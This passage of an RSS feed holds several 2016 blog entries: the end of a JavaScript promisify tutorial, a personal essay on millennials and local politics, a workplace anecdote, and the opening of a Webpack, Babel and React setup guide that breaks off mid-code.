&lt;p&gt;There you have it!  We just created a function that, given a callback-style function, returns a Promise-based implementation of it.  If you really, really want a short version, go for this:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #006600; font-style: italic;"&gt;/**
 * Convert a callback-based function into a promise.
 * Ultra-condensed version.
 **/&lt;/span&gt;
let promisify &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fn &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  let args &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span&gt;Array&lt;/span&gt;.&lt;span style="color: #660066;"&gt;from&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;arguments&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;resolve&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;args&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #339933;"&gt;,&lt;/span&gt; data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; err &lt;span style="color: #339933;"&gt;?&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;:&lt;/span&gt; resolve&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Of course I didn't do anything with &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;try..catch&lt;/code&gt;&lt;/span&gt; blocks, but you can add them as you see fit.  From this point, it would also be trivial to support callback-based functions who put their callback in non-standard locations (e.g., putting the callback as the first argument or in the middle of the arguments, followed by optional arguments, etc.).&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;section class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above view-mode-rss"&gt;&lt;h2 class="field-label"&gt;Tags:&amp;nbsp;&lt;/h2&gt;&lt;ul class="field-items"&gt;&lt;li class="field-item even" rel="dc:subject"&gt;&lt;a href="https://cscrunch.com/tags/javascript"&gt;JavaScript&lt;/a&gt;&lt;/li&gt;&lt;li class="field-item odd" rel="dc:subject"&gt;&lt;a href="https://cscrunch.com/tags/es6"&gt;ES6&lt;/a&gt;&lt;/li&gt;&lt;li class="field-item even" rel="dc:subject"&gt;&lt;a href="https://cscrunch.com/tags/promises"&gt;Promises&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/section&gt;</description><author>CS Crunch</author><pubDate>Thu, 25 Aug 2016 01:05:17 GMT</pubDate><guid isPermaLink="true">https://cscrunch.com/content/promisify-callback-function-without-3rd-party-libraries</guid></item><item><title>Wrapping my head around local politics 001</title><link>https://josh.works/local%20government/2016/08/24/wrapping-my-head-around-local-politics-001/</link><description>&lt;p&gt;Warning: Buzzwords ahead about millennials.*&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;As a millennial, I want to “get involved” in my “local community”, and don’t know the best way to “mobilize my resources”.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;vomit. I hate admitting that. But I still want to figure out 
if it is possible for me (little old me) to do something meanigful in the arena of local politics. (
&lt;a href="http://www.strongtowns.org/the-growth-ponzi-scheme/"&gt;Here’s a rough overview of what I’d like accomplished&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;So, what does any resourceful person do?&lt;/p&gt;

&lt;p&gt;I headed to Google and searched for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;“politics for millennials”&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“local politics for millennials”&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“young people involved in local politics”&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The results (or, judging by the top five hits for each search) are totally underwhelming. Here’s a few:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.theatlantic.com/politics/archive/2016/02/the-liberal-millennial-revolution/470826/"&gt;The Liberal Millennial Revolution&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.huffingtonpost.com/derrick-feldmann/millennials-causes-the-el_b_10731378.html"&gt;Millennials, Causes And The Election: How Millennials’ Perspectives Of Personal Impact And Activism Change In An Election Year&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.huffingtonpost.com/2013/11/22/millennials-in-congress_n_4325417.html"&gt;Millennials Won’t Be In Charge Of Congress Until At Least 2035&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.theatlantic.com/sponsored/allstate/when-it-comes-to-politics-do-millennials-care-about-anything/255/"&gt;When It Comes to Politics, Do Millennials Care About Anything?&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.huffingtonpost.com/brian-hanley/how-to-get-more-young-peo_b_8562196.html"&gt;How to Get More Young People Involved in Politics&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="themes-from-articles-about-millennials"&gt;Themes from articles about Millennials&lt;/h3&gt;

&lt;p&gt;I’m generalizing, but I noticed a few themes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Millennials get lumped together.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Millennials are still considered an outgroup. (It seems a lot of people writing 
aboutmillennials, to other people who are not part of that group.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The “departure from the norm” of voting engagement/preference of millennials is implicitly a result of their youth or liberalism, rather than a reasonable assessment of the political system.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’m going to go out on a limb here, borrowing from pretty straight-forward realities behind education:&lt;/p&gt;

&lt;p&gt;People care about things that matter to them, and will go to great efforts to pursue their own interests, and are nearly impossible to motivate in any other way.&lt;/p&gt;

&lt;p&gt;Please see: school. (I steadfastly resisted learning anything that I didn’t want to learn about. Conversely, something I want to learn about, I will pour myself into learning.)&lt;/p&gt;

&lt;p&gt;In other words, a perceived disinterest in politics 
is not a reflection of millennials, it’s a reflection of “the system”.&lt;/p&gt;

&lt;h3 id="defining-politics"&gt;Defining Politics?&lt;/h3&gt;

&lt;p&gt;Lets define politics:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;“Politics” is loosely correlated to organizing life around ourselves to care for the common good. (Not the official definition, just my working definition.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“Politics” is wrangling between elites to bring about things that make them feel good, while talking down to us common folk.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Regarding “politics as a tool of the elite”, 
&lt;a href="https://twitter.com/Snowden/status/741584993009438720"&gt;this&lt;/a&gt; Snowden quote seems appropriate:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Politics: the art of convincing decent people to forget the lesser of two evils is also evil.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Those two interpretations of the word “politics” are irreconcilable, and when people complain that millennials are not involved in “politics”, they usually seem to be referring to #2. (Anytime someone says voting is a “duty”, that 
&lt;a href="https://www.bostonglobe.com/opinion/2012/10/27/jacoby/PiV0sbV2bXf6OQAToXalxM/story.html"&gt;should be a red flag&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;I don’t care at all about “politics”, but I care a lot about how people are treated by other people.&lt;/p&gt;

&lt;p&gt;This fits into two groups:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;How people of equal power treat each other&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How people of unequal power treat each other&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;People with power can tell people without power what they can and cannot do. If those people with power are also representatives of the government, they’ve got fantastic enforcement mechanisms to drive compliance.&lt;/p&gt;

&lt;h3 id="what-i-a-lone-single-powerless-millennial-want-to-do"&gt;What I (a lone, single, powerless millennial) want to do&lt;/h3&gt;

&lt;p&gt;There’s a few things that matter a lot, and can be partially/wholly implemented at a local level:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Many contributing factors to police brutality. 
&lt;a href="https://mic.com/articles/121572/15-things-your-city-can-do-right-now-to-end-police-brutality"&gt;Here is 15&lt;/a&gt;, at least ten of which could be done mostly at a local level.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.epi.org/publication/making-ferguson/"&gt;Racist zoning laws&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Supporting “fractal” development instead of centrally planned development. 
&lt;a href="http://www.strongtowns.org/housing"&gt;Strongtowns on housing&lt;/a&gt;. I.E. let people do with their property as they see fit, be it live in it, work in it, run a business from it, or all of the above simultaneously. (This is illegal in most places)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Keep awesome 
&lt;a href="https://www.amazon.com/Everything-Want-Do-Illegal-Stories/dp/0963810952/ref=sr_1_1?ie=UTF8&amp;amp;qid=1472007422&amp;amp;sr=8-1&amp;amp;keywords=everything+i+want+to+do+is+illegal"&gt;food sources legal&lt;/a&gt;, instead of running afoul of angry bureaucrats. &lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;*I hate the term “millennial”, and, in fact, keep misspelling it. It implies homogeneousness, youth, and immaturity. All unfounded, besides the fact that we are, in fact, younger than people born before us, because physics.&lt;/p&gt;

&lt;h3 id="resources"&gt;Resources:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/dp/B008UV826U/ref=dp-kindle-redirect?_encoding=UTF8&amp;amp;btkr=1"&gt;Startup Communities&lt;/a&gt; (I’m skeptical of the premise - we don’t need communities driven around startups, we need healthy, financially sustainable communities where people can 
do what they want as long as they don’t deprive anyone else of their rights. I’ve not read this book yet.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.strongtowns.org/the-growth-ponzi-scheme/"&gt;Strong Towns: Growth Ponzi Scheme&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.strongtowns.org/housing"&gt;Strongtowns on housing&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.epi.org/publication/making-ferguson/"&gt;Making Ferguson&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/Everything-Want-Do-Illegal-Stories/dp/0963810952/ref=sr_1_1?ie=UTF8&amp;amp;qid=1472007422&amp;amp;sr=8-1&amp;amp;keywords=everything+i+want+to+do+is+illegal"&gt;Let good food be legal&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Wed, 24 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/local%20government/2016/08/24/wrapping-my-head-around-local-politics-001/</guid></item><item><title>Links - August 24th, 2016</title><link>https://faingezicht.com/links/2016/08/24/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 24 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/08/24/links/</guid></item><item><title>The Worst Individual I Ever Worked With</title><link>https://boyter.org/2016/08/worst-individual-worked/</link><description>&lt;p&gt;Taken from a comment I posted on HN in a thread about a &lt;a href="https://news.ycombinator.com/item?id=12337073"&gt;Soccer Con Man&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Not actually a programmer. The guy was hired to be a project manager.&lt;/p&gt;
&lt;p&gt;After joining things were as expected but after a few weeks we noticed that he was rarely around after lunch and never around after lunch on a Friday.&lt;/p&gt;
&lt;p&gt;We would email him at those times deliberately to catch him out and I recall starting to put sticky notes on his laptop &amp;ldquo;Came to see you a X time&amp;rdquo;. He would come back and just dump all the notes in the rubbish and claim he never got them. He would often claim to be working from home, despite his laptop being on his desk and usually closed. He would also never responding during those times to email or IM.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 23 Aug 2016 05:55:20 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/08/worst-individual-worked/</guid></item><item><title>Scott Belsky: Investor, Author &amp;amp; Founder of Behance</title><link>https://solomon.io/scott-belsky-investor-author-founder-of-behance/</link><description>Scott Belsky joins us to highlight his journey from Fortune 500 MBA grad to the creative chaos of the design world.</description><author>Sam Solomon</author><pubDate>Tue, 23 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/scott-belsky-investor-author-founder-of-behance/</guid></item><item><title>The Resistance</title><link>https://yasha.solutions/the-resistance/</link><description>Steven Pressfield has really coined the term *resistance in his famous book The War of Art amongts some other books he dedicated to it, and his words are so accurate that it is a must read for everyone in the business of making shit happen.
TL;DR The resistance is a phenomenon well known to creative people, entrepreneurs and anybody trying to make something different and/or new happen – to some extent it is like a force of nature that manifest itself against our will to improve, our desire to advance.</description><author>Yasha Solutions</author><pubDate>Tue, 23 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/the-resistance/</guid></item><item><title>Setting up Webpack, Babel and React from scratch</title><link>https://muffinman.io/blog/setting-up-webpack-babel-and-react-from-scratch/</link><description>&lt;article class="article"&gt;&lt;h2 id="update-october-2017"&gt;Update, October 2017 &lt;a class="anchor-link" href="#update-october-2017"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I just released updated tutorial &lt;a href="/blog/webpack-babel-react-revisited/"&gt;right here&lt;/a&gt;.
So feel free to skip this one, and read a new one.
It uses updated tools, and hopefully it will grow into a new series of webpack/react posts.&lt;/p&gt;
&lt;h2 id="update-march-2017"&gt;Update, March 2017 &lt;a class="anchor-link" href="#update-march-2017"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Webpack 2 is out, so this post is slowly becoming outdated.
For webpack 2 - react boilerplate please check &lt;a href="/blog/webpack-2-react-redux/"&gt;this post&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="this-is-a-living-guide"&gt;This is a living guide &lt;a class="anchor-link" href="#this-is-a-living-guide"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is the first part of the guide that will be changed over time.
For now it covers Webpack, Babel (for ES6) and React with React Router.&lt;/p&gt;
&lt;p&gt;Next parts will contain more stuff - static properties, decorators, SASS,
development and production configs, immutables... Also redux part should be updated really soon.&lt;/p&gt;
&lt;p&gt;So stay tuned!&lt;/p&gt;
&lt;p&gt;Other parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Part 1 - Webpack, Babel, React, Router, ESLint&lt;/li&gt;
&lt;li&gt;&lt;a href="/blog/setting-up-webpack-babel-and-react-from-scratch-part-2"&gt;Part 2&lt;/a&gt; - SASS, more ES6 goodness (Static props, decorators, deconstruction...)&lt;/li&gt;
&lt;li&gt;&lt;a href="/blog/setting-up-webpack-babel-and-react-from-scratch-part-3"&gt;Part 3&lt;/a&gt; - Where to go from here&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="before-we-start"&gt;Before we start &lt;a class="anchor-link" href="#before-we-start"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I&amp;#x27;ll assume that you have a basic knowledge of the unix terminal,
and that you have read what Webpack, Babel and React are.&lt;/p&gt;
&lt;h2 id="webpack"&gt;Webpack &lt;a class="anchor-link" href="#webpack"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For a start, install &lt;code&gt;node&lt;/code&gt; and &lt;code&gt;npm&lt;/code&gt; from &lt;a href="https://nodejs.org/en/"&gt;https://nodejs.org/en/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Make a git repo (this is optional, but recommended),
or create an empty folder. Navigate to it in the terminal.&lt;/p&gt;
&lt;p&gt;Initialize npm (&lt;code&gt;package.json&lt;/code&gt;) by running&lt;/p&gt;
&lt;p&gt;npm init&lt;/p&gt;
&lt;p&gt;Now we can start adding npm packages.
Install babel core and it&amp;#x27;s loader for webpack.&lt;/p&gt;
&lt;p&gt;npm install --save-dev webpack webpack-dev-server&lt;/p&gt;
&lt;p&gt;Tip: you can use &lt;code&gt;npm i&lt;/code&gt; instead of &lt;code&gt;npm install&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Create &lt;code&gt;app/js/app.js&lt;/code&gt; with a simple &lt;code&gt;console.log(&amp;#x27;hello world&amp;#x27;);&lt;/code&gt;.
This will be the entry point for webpack.&lt;/p&gt;
&lt;p&gt;Now we need to create a webpack config file &lt;code&gt;webpack.config.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tip: you can create files by using touch command - &lt;code&gt;touch FILENAME&lt;/code&gt;&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;module&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;exports&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  context&lt;span class="token operator"&gt;:&lt;/span&gt; __dirname &lt;span class="token operator"&gt;+&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;/app&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  entry&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;./js/app.js&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  output&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    filename&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;app.js&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    path&lt;span class="token operator"&gt;:&lt;/span&gt; __dirname &lt;span class="token operator"&gt;+&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;/dist&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is important to understand what is going on so far.
This tells webpack that our main application file (&lt;code&gt;app.js&lt;/code&gt;) is the entry point,
and bundled application should be outputted to the &lt;code&gt;dist&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;__dirname&lt;/code&gt; is the name of the directory that the currently executing script resides in.&lt;/p&gt;
&lt;p&gt;Now we can run&lt;/p&gt;
&lt;p&gt;node ./node_modules/webpack/bin/webpack.js&lt;/p&gt;
&lt;p&gt;It will generate &lt;code&gt;dist/app.js&lt;/code&gt;.
(Tip: to be able to run &lt;code&gt;webpack&lt;/code&gt; globally, you&amp;#x27;ll need to install it using &lt;code&gt;npm i --global webpack&lt;/code&gt;. Then you can run it by using only &lt;code&gt;webpack&lt;/code&gt;.)&lt;/p&gt;
&lt;h2 id="babel"&gt;Babel &lt;a class="anchor-link" href="#babel"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Noew can add Babel transpiler goodness.&lt;/p&gt;
&lt;p&gt;Install babel core and it&amp;#x27;s loader for webpack and presets for ES6 (aka ES2015) and React&lt;/p&gt;
&lt;p&gt;npm i --save-dev babel-loader babel-core babel-preset-es2015 babel-preset-react&lt;/p&gt;
&lt;p&gt;Create &lt;code&gt;.babelrc&lt;/code&gt; in the project root folder and add presets&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;quot;presets&amp;quot;&lt;/span&gt;&lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;es2015&amp;quot;&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;react&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add js/jsx loader to your webpack config, as well as extensions we want to resolve (More about this later).&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  resolve&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    extensions&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;.js&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;.jsx&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;.json&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  module&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    loaders&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        test&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token regex"&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;span class="token regex-source language-regex"&gt;&lt;span class="token special-escape escape"&gt;\.&lt;/span&gt;jsx&lt;span class="token quantifier number"&gt;?&lt;/span&gt;&lt;span class="token anchor function"&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        exclude&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token regex"&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;span class="token regex-source language-regex"&gt;node_modules&lt;/span&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        loaders&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token string"&gt;&amp;quot;babel-loader&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Webpack accepts the array of the loaders. Loader has a test for the filenames,
in our case it matches all of the &lt;code&gt;.js&lt;/code&gt; and &lt;code&gt;.jsx&lt;/code&gt; files.
Then it applies babel loader to it. Basically this will transpile our
fancy ES6 to ES5 which can be understood by browsers
(some browsers can execute ES6 already, but most of them still can&amp;#x27;t).&lt;/p&gt;
&lt;p&gt;If you re-run our webpack command, nothing will change, yet.&lt;/p&gt;
&lt;h2 id="react"&gt;React &lt;a class="anchor-link" href="#react"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Install react and react DOM&lt;/p&gt;
&lt;p&gt;npm i react react-dom --save&lt;/p&gt;
&lt;p&gt;Your &lt;code&gt;app.js&lt;/code&gt; should look something like this. For this example we are just rendering main menu.
Later we&amp;#x27;ll replace that with react router component.&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;React&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;ReactDOM&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react-dom&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;Menu&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;./components/Global/Menu.jsx&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token maybe-class-name"&gt;ReactDOM&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;render&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token class-name"&gt;Menu&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
